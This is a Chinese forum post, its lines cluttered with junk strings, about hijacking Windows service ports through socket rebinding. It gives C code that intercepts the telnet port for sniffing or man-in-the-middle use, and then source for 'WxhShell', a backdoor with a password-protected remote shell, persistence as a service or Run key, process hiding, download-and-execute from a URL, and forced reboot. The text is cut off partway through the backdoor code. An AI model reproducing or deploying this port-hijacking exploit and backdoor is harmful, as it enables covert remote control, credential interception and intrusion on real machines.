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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y lhKP;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C=8IQl[^e  
vY);7  
  saddr.sin_family = AF_INET; (N?nOOQ  
u]sxX")  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c]A @'{7  
zvR;Tl6]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iiv`ji  
9v?rNJs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~WKWx.ul  
}%`f%/  
  这意味着什么?意味着可以进行如下的攻击: V?"1&m& E  
TTD#ovo'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w}0rDWuR[  
@YbZ"Jb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _V(FHjY  
 z uI7Px  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (&Mv!6]  
K)GpQ|4:<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?^WX] SAl  
5V8`-yO9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +Ou<-EQV  
j<A<\K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gUH|?@f  
}fL ]}&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H $mZ?  
~toR)=Yv  
  #include <4P.B?-/t  
  #include C=(~[Y  
  #include %J+k.UrM  
  #include    `$XgfMBf |  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !*PX -  
  int main() N5 mhs#  
  { >OKc\m2%Q  
  WORD wVersionRequested; <.:mp1,8V  
  DWORD ret; <vd}oiB@  
  WSADATA wsaData; pER[^LH_)  
  BOOL val; MUUhg  
  SOCKADDR_IN saddr; ?N]G;%3/  
  SOCKADDR_IN scaddr; W/.Wp|C}K3  
  int err; =yZ6$ hK  
  SOCKET s; y=zs6HaS  
  SOCKET sc; "qoJIwl#q  
  int caddsize; <`Qb b=*  
  HANDLE mt; aB{OXU}#  
  DWORD tid;   3j2d&*0  
  wVersionRequested = MAKEWORD( 2, 2 ); Ls'8  
  err = WSAStartup( wVersionRequested, &wsaData ); R'qBG(?i  
  if ( err != 0 ) { Y8for'  
  printf("error!WSAStartup failed!\n"); ,qj M1xkL$  
  return -1; nPhREn!  
  } |8fdhqy_  
  saddr.sin_family = AF_INET; HG^~7oMf  
   vdd>\r)v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0s6eF+bs  
/4$ c-k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1w#vy1m J  
  saddr.sin_port = htons(23); Y4N)yMSl"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ekd;sEO  
  { tG[v@-O  
  printf("error!socket failed!\n"); G%U!$\j:qd  
  return -1; 0%qM`KZC  
  } |-xKH.'n  
  val = TRUE; uTrQ<|}#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H[N~)3x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cFHSMRB|P  
  { :3D[~-/S  
  printf("error!setsockopt failed!\n"); cd] X5)$h  
  return -1; dTqL[?wH?  
  } xP &@|Ag  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W?0u_F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Hk?E0.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y1#QP3'Z1  
2[Xe:)d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6>b'g ~I  
  { $'KhA6u  
  ret=GetLastError(); 1-Q>[Uz,  
  printf("error!bind failed!\n"); CJ[e^K{  
  return -1; u?KG%  
  } Vk%W4P"l  
  listen(s,2); BJjxy0+  
  while(1) Tj=@5lj0  
  { PMe3Or@  
  caddsize = sizeof(scaddr); =cxG4R1x  
  //接受连接请求 Vu,:rPqI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :AyZe7:(D  
  if(sc!=INVALID_SOCKET) <Ys7`e6eY  
  { cq9d;~q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *oAnG:J+M  
  if(mt==NULL) (qDJgf4fgn  
  { CFeAKjG  
  printf("Thread Creat Failed!\n"); *2Q x69`  
  break; *-gmWATC6  
  } $}P>_bq  
  } x5,|kJ9S  
  CloseHandle(mt); j&0t!f.Rv  
  } <<6gsKP  
  closesocket(s); fa,;Sw  
  WSACleanup(); 1wW4bg 5  
  return 0; c}w[ T  
  }   d{DBG}/Yg  
  DWORD WINAPI ClientThread(LPVOID lpParam) x)T07,3:  
  { cyWDtq  
  SOCKET ss = (SOCKET)lpParam; kS_3 7-;  
  SOCKET sc; h|ja67VG  
  unsigned char buf[4096]; D66!C{  
  SOCKADDR_IN saddr; +N!/>w]n  
  long num; ||.Ve,<:  
  DWORD val; nG"Ae8r  
  DWORD ret; Og kb N`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K_V$ktL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /7C %m:  
  saddr.sin_family = AF_INET; ,@t#)HV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l%7^'nDn  
  saddr.sin_port = htons(23); 0*o=JM]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +ID% (:  
  { Cv qUaHW@  
  printf("error!socket failed!\n"); T\L LOx\  
  return -1; ~<[]l~`  
  } jce2lXMm  
  val = 100; >{juw&Uu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !Ly1!;<  
  { VB{G% !}  
  ret = GetLastError(); IF|%.%I$!U  
  return -1; )F:UkS  
  } |*zvaI(}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HO;,Ya^l  
  { mOx>p"n  
  ret = GetLastError(); K|-RAjE  
  return -1; ^os|yRzV*M  
  } j(\jYH>   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ; ,:w % .  
  { Zh.[f+l]  
  printf("error!socket connect failed!\n"); D~%h3HM  
  closesocket(sc); WG3 .qLH%  
  closesocket(ss); wGnFDkCNz  
  return -1; 1FmVx   
  } )rv<"  
  while(1) o^~KAB7  
  { TzK[:o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #[Vk#BIiv8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T13Jno  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fv9n>%W&  
  num = recv(ss,buf,4096,0); FcZ)_m6m  
  if(num>0) t~FOaSt  
  send(sc,buf,num,0); XxE>KeP  
  else if(num==0) STgYXA(  
  break; L\X 2Olfz1  
  num = recv(sc,buf,4096,0); W=T,hOyh<W  
  if(num>0) VcR(9~  
  send(ss,buf,num,0); <3c|S_|L*m  
  else if(num==0) BA|*V[HBE  
  break; S`GM#(t@_  
  } +46?+kKt  
  closesocket(ss); =qVD"Z]z  
  closesocket(sc); :HG5{zP  
  return 0 ; ;]Bkw6 o  
  } ]AzDkKj  
}F4   
Se-n#  
========================================================== w"K;e(S  
_m|Tr*i8  
下边附上一个代码,,WXhSHELL lVQy {`Ns  
)s4a<S c]  
========================================================== x(/{]$h  
}~`l!ApD  
#include "stdafx.h" ~!{y3thZ  
(}LLk +  
#include <stdio.h> vL"[7'  
#include <string.h> x>=8~wIK  
#include <windows.h> F[ 5\ x0  
#include <winsock2.h> JgY#W1>  
#include <winsvc.h> 1Qz1 Ehz>  
#include <urlmon.h> r*t\\2  
@-QDp`QtI  
#pragma comment (lib, "Ws2_32.lib") CA{(x(W\:  
#pragma comment (lib, "urlmon.lib") ^w|apI~HSE  
@d86l.=  
#define MAX_USER   100 // 最大客户端连接数 i'bUX=JK  
#define BUF_SOCK   200 // sock buffer .[KXO0Ui6u  
#define KEY_BUFF   255 // 输入 buffer *N #{~  
u9}k^W)E  
#define REBOOT     0   // 重启 ry%Fs&V*>  
#define SHUTDOWN   1   // 关机 oj1,DU  
%"0g}tK6  
#define DEF_PORT   5000 // 监听端口 c _v;"QZ  
&_N$S2  
#define REG_LEN     16   // 注册表键长度 mt(2HBNoz  
#define SVC_LEN     80   // NT服务名长度 %!i|"FNc  
EecV%E  
// 从dll定义API C{8d^SCA"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1k8zAtuj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6X@$xe847[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dNL<O   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xiW;Y{kZ  
Q{0!N8']"  
// wxhshell配置信息 E{Ux|r~  
struct WSCFG { JBKCa 3  
  int ws_port;         // 监听端口 igD,|YSK`z  
  char ws_passstr[REG_LEN]; // 口令 n rpxZA  
  int ws_autoins;       // 安装标记, 1=yes 0=no  \tWFz(  
  char ws_regname[REG_LEN]; // 注册表键名 |#. J  
  char ws_svcname[REG_LEN]; // 服务名 j%qBNoT~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 # ,KjJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 71# ipZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cd"iaiTD0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cj!Ew}o40D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (haYY]W\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U<*8KiI  
0ThX1)SH  
}; ?{O >&<~  
2-<i#nA3  
// default Wxhshell configuration J~jR`2+r  
struct WSCFG wscfg={DEF_PORT, %fyah}=  
    "xuhuanlingzhe", /bd1Bi  
    1, LPNJuz  
    "Wxhshell", _K?{DnTb  
    "Wxhshell", 2/c^3[ccR  
            "WxhShell Service", };:+0k/  
    "Wrsky Windows CmdShell Service", {|kEGq~aE  
    "Please Input Your Password: ", o=1M<dL  
  1, 6?3f+=e"~!  
  "http://www.wrsky.com/wxhshell.exe", =V@5W[bV  
  "Wxhshell.exe" ~ j`; $o  
    }; A#y,B  
4{s3S2f =  
// 消息定义模块 2V 1|b`b#4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BSGC.>$s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yR Zb_Mq9U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tC,R^${#  
char *msg_ws_ext="\n\rExit."; 5Cp6$V|/kv  
char *msg_ws_end="\n\rQuit."; $dp;$X3  
char *msg_ws_boot="\n\rReboot..."; .ZB(!v/2  
char *msg_ws_poff="\n\rShutdown..."; 9f ^c9@=  
char *msg_ws_down="\n\rSave to "; x dT1jI  
>2[\WF*"X  
char *msg_ws_err="\n\rErr!"; 1$*ZN4  
char *msg_ws_ok="\n\rOK!"; "0(H! }D  
V u/{Hr  
char ExeFile[MAX_PATH]; C#r1zr6  
int nUser = 0; Y|NANjEAfm  
HANDLE handles[MAX_USER]; s 9Y'MQo*  
int OsIsNt; /2!Wy6 p  
5VU 5kiCt  
SERVICE_STATUS       serviceStatus; E8Jy!8/X9T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?J<V-,i  
.FarKW  
// 函数声明 Y'YvVI  
int Install(void); R*l#[D5A  
int Uninstall(void); 3:XF7T  
int DownloadFile(char *sURL, SOCKET wsh); 8<Y*@1*j  
int Boot(int flag); '9+JaB  
void HideProc(void); 9Dq^x&z(  
int GetOsVer(void); u]W$' MyY  
int Wxhshell(SOCKET wsl); vCf{k  
void TalkWithClient(void *cs); JfJLJ(}  
int CmdShell(SOCKET sock); I,*zZNv Ri  
int StartFromService(void); ^4WNP  
int StartWxhshell(LPSTR lpCmdLine); {!lC$SlJ  
:/c40:[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZB)`*z>*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k_E Jg;(  
pQGlg[i2/  
// 数据结构和表定义 f(^? PGO  
SERVICE_TABLE_ENTRY DispatchTable[] = 4pin\ZS:C  
{ 29xm66  
{wscfg.ws_svcname, NTServiceMain}, x.+r.cAXH  
{NULL, NULL} tJ{3Z}K  
}; ']N1OVw^vf  
(9#$za>  
// 自我安装 *?2aIz"  
int Install(void) &DX&*Xq2  
{ /Ria"lLv  
  char svExeFile[MAX_PATH]; +:a#+]g  
  HKEY key; K/Q%tr1W0  
  strcpy(svExeFile,ExeFile); UP18?uM  
 T\(w}  
// 如果是win9x系统,修改注册表设为自启动 H%LoI)w  
if(!OsIsNt) { V__|NVoOm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k$kOp *X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4@iMGYR9!s  
  RegCloseKey(key); =N62 ){{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9vQI ~rz?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y ]xFe>  
  RegCloseKey(key); Z%Kkh2-uh  
  return 0; _ (U|Kpi  
    } ^V1.Y  
  } \iBEyr]  
} D%=VhKq  
else { g[D(]t\#x  
Y<4%4>a  
// 如果是NT以上系统,安装为系统服务 -x~4@~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W E-cq1)  
if (schSCManager!=0) N)kZ2|oD  
{ u<VR;p:y  
  SC_HANDLE schService = CreateService k10g %K4g  
  ( ~rUcko8  
  schSCManager, 6.!aJJLN  
  wscfg.ws_svcname, -`I&hzl6E  
  wscfg.ws_svcdisp, :i?7RouO  
  SERVICE_ALL_ACCESS, 6T?$m7c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $s2Y,0>I6  
  SERVICE_AUTO_START, mMNT.a  
  SERVICE_ERROR_NORMAL, 6njwrqo  
  svExeFile, Jq5](F!z  
  NULL, pie,^-_.g  
  NULL, ^69ZX61vt  
  NULL, 8\N`2mPt  
  NULL, >FR;Ux~a  
  NULL A-&'/IHR"B  
  ); )YtdU(^J$  
  if (schService!=0) ?;bsg 9  
  { j>}<FW-N  
  CloseServiceHandle(schService); 6h5,XcO4  
  CloseServiceHandle(schSCManager); 0b)q,]l]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {:63% j  
  strcat(svExeFile,wscfg.ws_svcname); iI]E%H}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I+!?~]AUuq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @VzD> ?)  
  RegCloseKey(key); ~S85+OJ;M  
  return 0; pzQWr*5a  
    } kKFhbHUZa  
  } (}4]U=/nV  
  CloseServiceHandle(schSCManager); h1(GzL%i_  
} +o4W8f=Ga  
} fz[-pJ5[  
_Nx#)(x  
return 1; o^\L41x3  
} gG,"wzj  
1v?|n8  
// 自我卸载 x1O]@Z{d\  
int Uninstall(void) M[= #%U3*N  
{ !eC]=PoY  
  HKEY key; +kj d;u#  
?a]1$>r  
if(!OsIsNt) { OgOs9=cE{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i?+>,r@\p  
  RegDeleteValue(key,wscfg.ws_regname); O0~Qh0~l  
  RegCloseKey(key); &^I2NpT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \7d T]VV  
  RegDeleteValue(key,wscfg.ws_regname); $q%l)]+  
  RegCloseKey(key); hmG^l4B.T  
  return 0; 7rZE7+%]  
  } (QFu``ae+  
} "Yy)&zKr  
} 4#fgUlV  
else { }vXf}2C  
R#\o*Ta  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k ^:+Pp  
if (schSCManager!=0) &~ .n}h&  
{  &$ x1^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !D!1%@ e  
  if (schService!=0) ,WKWin  
  {  9EU0R H  
  if(DeleteService(schService)!=0) { s6YnNJ,SK  
  CloseServiceHandle(schService); {Rv0@)P$  
  CloseServiceHandle(schSCManager); XZew$Om[  
  return 0; }Y=X{3+~.  
  } F5(DA  
  CloseServiceHandle(schService); AB0>|.  
  } +*')0I  
  CloseServiceHandle(schSCManager); 6$y$ VeW  
} .*,W%r?1n6  
} h%[1V  
DQ{"6-  
return 1; vyXL F'L  
} Tg;1;XM%  
GX@=b6#-  
// 从指定url下载文件 O~bJ<O=?  
int DownloadFile(char *sURL, SOCKET wsh) zir?13N7  
{ "P9SW?',  
  HRESULT hr; FhAYk  
char seps[]= "/"; Dx*tolF  
char *token; !=B=1th4  
char *file; S4!}7NOh  
char myURL[MAX_PATH]; #sJL"GB  
char myFILE[MAX_PATH]; 8IQqDEY^  
ys DGF@wZC  
strcpy(myURL,sURL); }P(<]UF  
  token=strtok(myURL,seps); enB 2-)< K  
  while(token!=NULL) E8Y(C_:s  
  { 1m\ihU  
    file=token; L_(Y[!  
  token=strtok(NULL,seps); /@xL {  
  } .{t]Mc  
|-zefzD|  
GetCurrentDirectory(MAX_PATH,myFILE); {@*l,[,5-  
strcat(myFILE, "\\"); tg#d.(  
strcat(myFILE, file); Y3M"a8e'  
  send(wsh,myFILE,strlen(myFILE),0); "( NJ{J#A  
send(wsh,"...",3,0); <)4>"SN&^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mgL{t"$c  
  if(hr==S_OK) D@iE2-n&V  
return 0; (V:)`A_-  
else )ipTm{  
return 1; KpF/g[m  
yE=tuHv(0  
} 71wtO  
Zf *DC~E_  
// 系统电源模块 u7G9 eN  
int Boot(int flag) = t!$72g\  
{ +T*]!9%<`:  
  HANDLE hToken; wNtPh&  
  TOKEN_PRIVILEGES tkp; "}ZUa~7  
i0py5Q  
  if(OsIsNt) { : kw14?]_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9|5>?'CqP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C[2LP$6*/  
    tkp.PrivilegeCount = 1; 1yT\|2ARZ%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I>n2# -8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hutdw>  
if(flag==REBOOT) { hY}.2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VcpN PU6  
  return 0; Ew$-,KC[  
} =CGB}qU l0  
else { 2 i:tPe&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $?Z-BD1  
  return 0; ,Jqk0cW2  
} E*]%@6tH  
  } 2& ZoG%)  
  else { -5.~POO  
if(flag==REBOOT) { wpS $ -  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MgG_D6tDM  
  return 0; Rf0F`D k  
} }&qr"z4  
else { O od?ifA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LAcK%  
  return 0; !^_G~`r$2J  
}  Zzea  
} t#sw{RO  
?CHFy2%Y  
return 1; a,~}G'U  
} n}!D)Gx  
03^?+[C  
// win9x进程隐藏模块 e}bY 9  
void HideProc(void) r>.^4Z@  
{ Y&y5^nG  
$,DX^I%!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0{zA6Xu  
  if ( hKernel != NULL ) ,W:Bh$%  
  { ~ s# !\Ye  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); le.(KgRS4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bc ;(2D  
    FreeLibrary(hKernel); [ (eO_I5ep  
  } Qe;j_ BH  
y jQpdO  
return; <lFQ4<"m  
} s\dhQZw3  
;y%C\YB#  
// 获取操作系统版本 HS[N]'dc  
int GetOsVer(void) wML5T+  
{ XJ9l, :c,  
  OSVERSIONINFO winfo; I15g G.)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L; f  
  GetVersionEx(&winfo); &bw ``e&c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9G)q U  
  return 1; `|d&ta[{  
  else ?> SH`\  
  return 0; (U#9  
} E])X$:P?  
dX>l"))yR  
// 客户端句柄模块 '@ C\,E  
int Wxhshell(SOCKET wsl) e Zb8x  
{ *3r{s'm  
  SOCKET wsh; 8jxs%N,aI  
  struct sockaddr_in client; PN @[k:5(  
  DWORD myID; I~: AWS9  
0"O22<K3a  
  while(nUser<MAX_USER) f7Fr%*cO  
{ 4RU/y+[o  
  int nSize=sizeof(client); i~04P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~e@pL*s  
  if(wsh==INVALID_SOCKET) return 1; Ls~F4ar$/  
EPMdR66  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oN/T>&d  
if(handles[nUser]==0) S/l?wwD  
  closesocket(wsh); +ysP#uAA  
else \JX.)&> -  
  nUser++; I_/kJ#7vj  
  } 3[E)/~-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); //\UthOT  
&:ib>EB03=  
  return 0; |Lz:i +;  
} wtL_c  
cr_Q,*  
// 关闭 socket rBUdHd9  
void CloseIt(SOCKET wsh) 'G-zJcU  
{ oztfr<cUH  
closesocket(wsh); std4Nyp  
nUser--; sG~5O\,E  
ExitThread(0); h0)Wy>B=,  
} qp@:Zqz8  
wt@q+9:  
// 客户端请求句柄 {}TR'Y4  
void TalkWithClient(void *cs) &v#*  
{ #[a+m  
8`/nk `;  
  SOCKET wsh=(SOCKET)cs; Y)=89s&t  
  char pwd[SVC_LEN]; e2 ?7>?  
  char cmd[KEY_BUFF]; !SFF 79$c  
char chr[1]; R;*3";+v|:  
int i,j; N>$Nw<wV  
k 8Swra?j  
  while (nUser < MAX_USER) { k!lz_Y  
l'2a?1/q  
if(wscfg.ws_passstr) { I}aiy.l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @I '_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qq+fUfB2:  
  //ZeroMemory(pwd,KEY_BUFF); 3B<$6  
      i=0; j+c<0,Kj  
  while(i<SVC_LEN) { p^U:O&U(  
2@ <x%T  
  // 设置超时 8R6!SB  
  fd_set FdRead; JRC+>'}Xj  
  struct timeval TimeOut; }"'^.FG^_  
  FD_ZERO(&FdRead); yn[^!GuJ_  
  FD_SET(wsh,&FdRead); poqx O  
  TimeOut.tv_sec=8; [7~ !M*o9  
  TimeOut.tv_usec=0; JRm:hf'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s9wc ZO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x"Hi!h)v  
^/3R/;?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >g]kbes-\  
  pwd=chr[0]; /l,V0+p  
  if(chr[0]==0xd || chr[0]==0xa) { !6pOY*> j  
  pwd=0; FX FTf2*T  
  break; xsx @aF  
  } z~/z>_y$nv  
  i++;  pv=g)  
    } ov=[g l  
Fvy__ qcHi  
  // 如果是非法用户,关闭 socket n0T\dc~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u(7PtmV[!  
} L>Y>b4oy3  
O/9dPod  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t&SC>8M<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l)glT]G3+  
t]~L o3  
while(1) { vMiZ:*iaj@  
Bf;dp`(/   
  ZeroMemory(cmd,KEY_BUFF); 8"4&IX  
lEBt<  
      // 自动支持客户端 telnet标准   ?=B$-)/  
  j=0; C|"h]  
  while(j<KEY_BUFF) { gp:,DC?(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y{TzN%|LV  
  cmd[j]=chr[0]; ?q(7avS9  
  if(chr[0]==0xa || chr[0]==0xd) { BpL,<r,  
  cmd[j]=0; t%e}'?#^  
  break; 2<Tbd"x?  
  } coHzbD~#H  
  j++; )v-sde\  
    } +-=w`  
+zQ a"Ep*  
  // 下载文件 X ?/C9  
  if(strstr(cmd,"http://")) { ,%#FK|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YK/?~p9:  
  if(DownloadFile(cmd,wsh)) |hjm^{!TpW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~n$VCLa  
  else fPf8hz>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ca@0?q#  
  } 9Xt5{\PJ  
  else { ErK5iTSD  
bsw0+UY=9  
    switch(cmd[0]) { >;eWgQ6V  
  aU,Zjm7fp  
  // 帮助 (c ?OcwTH  
  case '?': { \f6SA{vR|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1D03Nbh|5  
    break; \`\& G-\  
  } +_tK \MN  
  // 安装 66*/"dBwm  
  case 'i': { 0b9;v lGq$  
    if(Install()) PpD ?TAlA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nc#}-}`5  
    else s l|n]#)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Amf gc>eJ  
    break; MzRws f  
    } 7t7"glP  
  // 卸载 7q<2k_3<  
  case 'r': { GndU}[0J  
    if(Uninstall()) pe>R2<!$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R _WP r[P  
    else C fKvC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Ppb;   
    break; eXY*l>B  
    } dd#=_xe  
  // 显示 wxhshell 所在路径 \jDD=ew  
  case 'p': { ufE;rcYE  
    char svExeFile[MAX_PATH]; >NWrT^rk  
    strcpy(svExeFile,"\n\r"); eAh~ `  
      strcat(svExeFile,ExeFile); `LU[+F8<  
        send(wsh,svExeFile,strlen(svExeFile),0); Eg&xIyRmm  
    break; ct+ ;W  
    } g5X;]%:  
  // 重启 ;uj&j1  
  case 'b': { QFMR~6 ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F!*u}8/_!  
    if(Boot(REBOOT)) duCxYhh|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*\JqCR  
    else { XdX1GH*C  
    closesocket(wsh); fvn`$  
    ExitThread(0); w Q /IT}-  
    } 'thWo wE  
    break; @sUYjB  
    } Gf'qPLK0  
  // 关机 G+2!+N\P  
  case 'd': { R57>z`;  
